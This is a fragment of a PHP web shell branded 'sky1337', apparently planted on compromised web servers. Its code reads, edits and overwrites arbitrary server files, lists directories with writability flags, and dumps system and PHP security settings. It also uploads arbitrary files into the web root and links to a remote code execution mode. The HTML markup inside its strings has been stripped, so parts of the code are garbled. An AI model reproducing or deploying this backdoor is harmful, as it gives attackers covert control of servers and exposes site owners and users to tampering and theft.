"; echo "

sky1337 - ".basename($f)."

"; echo "
".htmlspecialchars(file_get_contents($f))."
"; echo "
[Back]"; }else{echo "File not found";} exit; } // Edit File if($m=='edit'&&$_SERVER['REQUEST_METHOD']=='POST'){ $f=$_POST['f']; $c=$_POST['c']; if($f&&file_exists($f)&&is_writable($f)){ file_put_contents($f,$c); echo ""; }else{echo "Failed to save";} exit; } // File Manager if($m=='ls'){ $d=isset($_GET['d'])?$_GET['d']:'.'; $real=realpath($d); echo "sky1337 "; echo "

sky1337

"; echo "

".$_SERVER['HTTP_HOST']." | ".get_current_user()."

"; echo "

$real

"; echo "
"; foreach(scandir($d) as $f){ if($f=='.')continue; $path=str_replace('//','/',"$d/$f"); $w=is_writable($path)?' [W]':''; if(is_dir($path)){ echo "DIR $f$w
"; }else{ $s=filesize($path); $sh=$s>1048576?round($s/1048576,1).'MB':($s>1024?round($s/1024,1).'KB':$s.'B'); echo "FILE $f $sh$w
"; } } echo "
"; echo ""; exit; } // Info if($m=='info'){ echo ""; echo "

sky1337 Info

";

    echo "Uname: ".php_uname()."\\n";

    echo "User: ".get_current_user()."\\n";

    echo "DocRoot: ".$_SERVER['DOCUMENT_ROOT']."\\n";

    echo "Disable: ".ini_get('disable_functions')."\\n";

    echo "OpenBaseDir: ".ini_get('open_basedir')."\\n";

    echo "Server: ".$_SERVER['SERVER_SOFTWARE']."\\n";

    echo "
[Files] | [RCE]"; exit; } // Upload Form if($m=='upload_form'){ $doc=$_SERVER['DOCUMENT_ROOT']??'/var/www/html'; if(!empty($_GET['path'])&&is_dir($_GET['path'])){$doc=$_GET['path'];} echo "sky1337 Upload

sky1337 Upload

[RCE] | [Files] | [Info]

DocRoot: $doc | Writable: ".(is_writable($doc)?'YES':'NO')."


"; exit; } // Upload Process if($m=='upload'&&$_SERVER['REQUEST_METHOD']=='POST'){ $dest=$_POST['path']??$_SERVER['DOCUMENT_ROOT']; $fn=basename($_FILES['file']['name']); $dp=rtrim($dest,'/').'/'.$fn; echo ""; if(move_uploaded_file($_FILES['file']['tmp_name'],$dp)){ echo "

SUCCESS

$dp

"; }else{ echo "

FAILED

"; } echo "
Back"; exit; } // Home echo ""; echo "

sky1337

"; echo "

".$_SERVER['HTTP_HOST']." | ".get_current_user()."

"; echo "RCE Files Info Upload"; echo ""; ?>